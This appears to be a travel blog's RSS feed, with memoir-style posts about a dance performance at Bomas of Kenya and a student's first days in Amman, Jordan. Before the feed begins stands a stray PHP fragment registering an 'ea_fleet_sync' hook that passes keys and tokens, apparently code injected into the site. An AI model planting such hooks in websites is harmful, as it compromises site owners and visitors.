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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Travelling Archives - Blissfully Healing https://blissfullyhealing.com/category/travelling/ In search of life, meaning, and balance Sat, 10 Jul 2021 12:44:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Travelling Archives - Blissfully Healing https://blissfullyhealing.com/category/travelling/ 32 32 139782009 Nairobi, Kenya: Traditions live on (Bomas of Kenya) https://blissfullyhealing.com/kenya-traditions-live-on-bomas-of-kenya/ Tue, 16 Jan 2018 14:05:34 +0000 https://blissfullyhealing.com/?p=159 December 2017:I was in the midst of divorce turmoil, residing at my uncle’s house when decided to take myself out, yes, like a date. To do something that I love, to take my mind off things and simply have the …

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]]> December 2017:I was in the midst of divorce turmoil, residing at my uncle’s house when decided to take myself out, yes, like a date. To do something that I love, to take my mind off things and simply have the desire to smile about something. I decided to go to Bomas of Kenya for traditional dance performances. I had heard of the landmark through time, during the elections it is the place where votes are tallied and the president and vice president announced. Although, other than its political purpose, it holds a light of honor to all 43 tribes in Kenya, showcasing their ways of homestead life and offering a space where traditional dances can be practiced and performed. The decision was long over due, I had been wanting to go to the performances for over 3 months. I was stoked!

Photo by Pawan Sharma on Unsplash

 

As a child, various traditional dances that were aired on t.v every weekday evening, and I loved watching them. Like clock work, I made sure that I was showerd, dressed and sitting before the television for the scheduled programming. I always sat there before the program began, wide eyed in anticipation of the performances that were scheduled for the day. Every day, my heart would beat in excitement and a joy would overpower me that was and has always been unmatched.

The dances just made me feel alive, they made me feel like there was more to me than I believed and best of all, they made me feel part of something greater.

 

I was nervous as I called the uber, I felt pangs of anxiety and some form of fear that simply rose from a familiar place, my experiences with my husband. Feeling as though I needed permission for something that does not require permission. I simply breathed. I took a deep breath and allowing myself to release the resistance that was slowly building in my chest and slowly spreading to my stomach. I walked to the mirror, eyeing what I had decided to wear, smiled at myself and looked into my eyes. I looked into my fear stricken eyes and simply gave myself a gentle smile said, “I love you Iman Habel and it’s ok for you to go to the dances.” The Uber called and I picked up, smiling, I stood tall, shoulders back and walked out of the house.

 

The ride to Bomas of Kenya was truly eventful, the uber driver was a joyful older man in his late fifties with a very cheerful demeanor. He told me about the misfortunes of his life and how he moved from Mombasa due to tribal clashes and nested in Nairobi. He told me of life lessons everyone must abide by, such as seeking the best and finding the best side in every situation and simply trusting that life knows what its doing.

 

As we pulled into the parking lot, I could hear the drums, the singing, and the conjunction of instruments that brought the traditional dances to life. I paid and made my way inside the auditorium to find a performance part-way. As soon as I walked into the hall, I smiled, a big smile, larger than I had in a very long time. I felt a sense of familiarity and joy that seemed to stem far deeper than I could comprehend. I found a place to sit, somewhere centered so I would have a perfect-ish view of the performance, and sat in awe.

and of course, the maasai…

I could not stop smiling!

After the traditional performances, came the acrobatic show.

By the time the event was over, my cheeks were sore and my lips glued in one place. A smile.

As I walked out of the auditorium, felt a deep sense of joy that I had not felt in a very long time.

 

To make the day so much better, as I walked towards the uber, I saw warthogs!!! warthogs!!! Yes, I had been told stories and perhaps seen them at a distance, but never this close. I took videos and lots of pictures trying to glue my emotions in place as I was simply elated.

 

 

As I rode home, I decided to finally check in with the fear and anxiety that kept nagging me through the outing. I acknowledged it and simply decided that life is worth so much more than cowering behind the fear I have developed as a result of an abusive relationship. There is so much to see and do in life, and cowering fear has no place in the adventures of the life I wish to build.

 

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]]> 159 Amman, Jordan:”The City” https://blissfullyhealing.com/jordanthe-city-2/ Tue, 12 Dec 2017 18:51:50 +0000 https://blissfullyhealing.com/?p=55 February 2013: The busy day began with the sweet air of the night, ease claiming the morning as my roommate and I prepared for the day. It was now 7:30am, breakfast was being served until 9am and our first orientation …

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]]> February 2013: The busy day began with the sweet air of the night, ease claiming the morning as my roommate and I prepared for the day. It was now 7:30am, breakfast was being served until 9am and our first orientation presentation began at 9am. My roommate and I made it to breakfast at 8:45am, quickly ate and headed to the 13th floor for the beginning of what is now my study abroad in Amman. The student services director began with a survey of the room, asking us to stand if the questions he asked applied to us. “Who is from, …”…, and we all got a feel of our fellows.The presentation took about an hour before we headed to the city tour. Starting at the Roman Theater and ending at the program office in downtown.

 

The Roman Theater:

We got off the bus and headed towards the theater, the entrance to the theater guided by a long walkway with a large courtyard and pillars to its right and the theater walls to its left. It took a few minutes before we were standing on the stage of the theater. Astonishment ran through my body causing goose bumps from head to toe as I stood a few feet away from the entrance of the theater. My eyes puzzled by the capability of man that sat before my eyes. The theater was large, constructed of stone in a semicircle structure. The semicircle looked like a cone, the lowest seats being closest to the stage and the highest seats farthest from the stage. The tour guide gave us a history of the theater through the ages, it’s purposes and it’s uses in the present day. After the brief history and introduction to the theater, we got 15 minutes to explore and enjoy the theater. I began by standing at the bottom of the theater, looking up at all directions of the semi-circle, I slowly filled each seat with an audience prepared for a show. I could almost hear the loud chattering before a performance, the pin-drop silence during the performance and the ear shattering cheers from the same crowd that didn’t seem to be there a moment earlier. The thought almost moved me to tears, but failed, managing to keep me planted at the base of the theater for a while with a smile on my face before I could control my feet once more and direct them to the top of the theater.

I stood high above the center of the theater where I stood moments earlier, still amazed at the ability of man. Then I saw it. I looked up to a breath-taking, and overpowering sight of  Amman. I had a mixture of emotion as I stood there breathless at the sight of the buildings clinging purposefully to the hillside that was once bare and now filled with the dwellings of thousands.  I stood there not sure whether I should love, or hate the sight before me. I felt as though I needed to clean it up, remove some buildings to expose the bare back of the hill that once painted the city beige. Leaving some space for the city to breath from the congestion of the buildings.  I smiled at the thought and shoved it to the side, letting myself sit at the top of the theater, overlooking the theater, the courtyard and part of the city. I could see a structure that resided at the citadel or rather jabal al-qala’ from that view. I saw 2 pillars that indicated the perished existence of a building, the pillars stood tall and proud far into the distance, the citadel. After the Roman theater, we went to the citadel.

 

 

The Citdel:

We took the bus to the citadel, the center of the city, a beauty that lie in ruins. Here I saw the city. I walked to the edge of the citadel and breathed in the city. At this sight, I once again saw the theater in its magnificence, miles away looking like a toy in the distance. Our tour guide gave us a brief history of the citadel before leading us to the different parts of it. We walked by the edge, taking in the breathtaking construction of the city that still felt like a mess that required some cleaning. We walked to a different section of the citadel that had a perfect view of downtown.As he spoke, I overlooked the city, taking in the mess that it was and enjoying the beauty that it held. Then I heard the beginning of the call that glued my feet to the ground, my hands to the low metal bar and lost all meaning to all words, but the words within the call.  I heard the call to prayer. I stood there, my eyes closed, taking long deep breaths, as I heard the call that seemed to claim the city, overpowering all noise, all motion, bestowing peace and tranquility to the busy, loud city. When I opened my eyes, I realized that I had a trail of tears down my cheek, which I wiped off before turning to see a girl smiling in the same direction I had been facing, but our group was gone.  We greeted each other, and for the next few minutes talked about the beauty that we had just experienced. Then we started searching for our group. We found them at a building that had a faded blue dome atop a cube shaped building, an ancient church. Before heading to the ruins of a mosque right across from it, then heading to the Jordan Archaeological Museum .Everything was breath-taking, but I did not have enough time to experience the characters of the buildings or remember the names, therefore the citadel is still on my list of things to do.

 

Ancient mosque facing an ancient church at the Citadel in Amman, Jordan.

…then off to lunch at Jafar, a famous cafe in downtown. We began with salad, then a plate of roast meats, with a variety of hummus and pita bread, then dessert and the best part, tea!!!.

We then headed to the Princess Summaiya University of Technology where we got acquainted with the university, the buildings we will use the most and some of the campus staff. We then proceeded to our last stop,the program office where we sat for a presentation which I was barely able to pay attention to as I succumbed to exhaustion and jet-lag.

 

Related Posts:

Jordan: “The landing”

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]]> 55 Amman, Jordan: “The landing” https://blissfullyhealing.com/jordan-the-landing/ Tue, 12 Dec 2017 18:12:11 +0000 https://blissfullyhealing.com/?p=44 January 2013: My face had been glued to the window for almost 2 hours, star gazing with my hand perched up next to the window blocking the little light from the aircraft cabin that made it a bit difficult to …

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]]> January 2013: My face had been glued to the window for almost 2 hours, star gazing with my hand perched up next to the window blocking the little light from the aircraft cabin that made it a bit difficult to clearly see the stars. Then words rang in my ears like a bell warning me or rather alerting me of something I needed to be alert of. “Flight attendants, please prepare for landing” Said the captain.

At this point, I had been travelling for approximately 20 hours, tired, exhausted and a little bit anxious of the sights in store. Then it hit me OHHHHH  MMMMYYYYYYYY    GOODness,  I am landing in a different country. It had been 9 years since my little brother and I landed in the U.S to call it home, and this was the first trip I was taking out of the country.

I sat there staring at the window that had now shifted from charted glowing sparks to what was now the reflection of my face. I looked at myself, speechless, thoughtless, staring. Staring at the now, the reality that happened to be hovering above a Middle Eastern country that made everyone that hugged me goodbye warn with urgency “BE CAREFUL”.

We landed. The adventure began.

Customs happened, then I was picked up along with fellow program participants and taken to a hotel where orientation would take place. We landed at about midnight and got to the hotel, and settled in by about 1:30am.  I called, messaged and informed everyone that I arrived safe. I was exhausted, but sleepless because I was still functioning in San Diego time, which was 12:30pm at that moment, 11 hours behind. I was wide awake.  I took a long shower that relieved a good deal of exhaustion and eased some of the travel tension. It was now close to 4 am, rather 3pm and I still had no sleep.

 

After 6 more hours of wakefulness, I decided to take a walk nearby and explore my surroundings.

The culture shock began.

I got dressed, took a book and went two floors down to the lobby, I went to the front desk and asked the gentleman at the desk for suggestions of walking places. He looked at me in astonishment, smiled and took a map to direct me. He circled a number of places to walk to and stressed to me to walk on the side walk. I didn’t think much of his reaction until I stepped outside. I was welcomed rather harshly by loudness, honking, and a mixture of cigarettes and car fumes in the air. The city is crowded. All I could see as far as my eyes could capture were buildings, one on top of the other, cars as far as my eyes could see and NO TREES. NO TREES!

I come from a town filled with trees, oxygen and good people, Davis Ca. I found no trees, no oxygen, but amazing people =)

45 minutes later, I was not capable of handling the lack of green before my eyes and the bombardment of pollution to my lungs so I went back to my room, hoping to find something that would prevent me from sleeping. I failed. It took me a few minutes before sleep won the battle and I curled up into my bed only to wake 3 hours later from a knock on the door. I was grateful that I was up 3 hours later, because I had a better possibility of actually sleeping at night and winning the war over jetlag.

About an hour and a half later, a group of girls and I walked to town, a street called rainbow street, to search for food. The walk was long, but not too long, and the bee like signature of the city made it very difficult to remember that I was tired, my lungs were dying and my feet were in slight pain. As we crossed through town, through the busy streets and stopped cars to cross the middle of the road, I noticed a restaurant called “Buffalo Wings and …” and I lost all concern, all feeling and for a moment, I even forgot where I was. I just acknowledged, CHICKEN. We had been trying to find a place to eat and I couldn’t seem to find a better place than this. The girls weren’t too fond of the idea as they are able to eat buffalo wings in America, whereas I am not. (The girls said I has something along the lines of “crazy chicken eyes” which I do not seem to be able to notice.) We kept walking and passed a number of interesting vendors including a vendor titled “smoothie madness” that made all it’s smoothies from fresh fruit before your eyes. We walked past that vendor to another vendor who sold felafel sandwiches which the whole group bought, but me, all I could think of was “CHICKEN!.” We went back to that restaurant where I and another girl ordered and I got to have my CHICKEN!!!. I was elated, overjoyed and in complete tranquility as we walked out of the restaurant heading back to the hotel. But before we headed to the hotel, we decided to go back to the smoothie vendor, where one of us bought a kiwi smoothie that was to die for and I bought a large pomegranate (that a friend haggled for from .75 to .50). A good walk, CHICKEN and a pomegranate. I was floating on Jordanian polluted clouds by the time we got back to the hotel.

The rest of the evening was absolutely beautiful, beautiful in ways that I would never imagine a day to be in America. I went to my room, opened the curtains to overlook the town from the large bay windows in the room. I made myself a cup of tea, turned my chair towards the window, put my legs up and began enjoying the view of Amman in silence, tranquility and a peace of mind. Soon after my roommate came in and we began to chat, our next door neighbor soon came for a visit, then her roommate and we began conversations of all avenues. Finding laughter in each other’s company, console and finding relief in that most of us had the same concerns about our experience. Soon after, I began exploring the large, red, pomegranate I bought, peeling away the skin a little at a time exposing the intricate “juice bubbles” within in excitement and anticipation of the adventure that lie within the journey of that large, red, juice filled pomegranate that I held in my hands. I passed pomegranate “juice bubbles” to the rest of the girls as we sat there, enjoying each other’s company with good conversation, laughter and companionship.  Soon after we were joined by one more girl who we shared our wealth of pomegranate with along with our laughter, joy and ease.

Conversation continued long after the pomegranate was over and I realized that opportunity for anything lie within that time, that space that moment. The sun had completely set, the town was vibrant with lights, activity and youthful energy and the bay windows were perfect for the moment, connecting us with the city, while in the comfort of the room. I washed my hands of the sticky remains of joy on my hands, took a shawl, crossword puzzle and resumed my seat in the company of the girls. 2 crossword puzzles later, the room was still filled with stories and laughter, and we decided to go downstairs for dinner which was the perfect ending to an almost perfect day.

 

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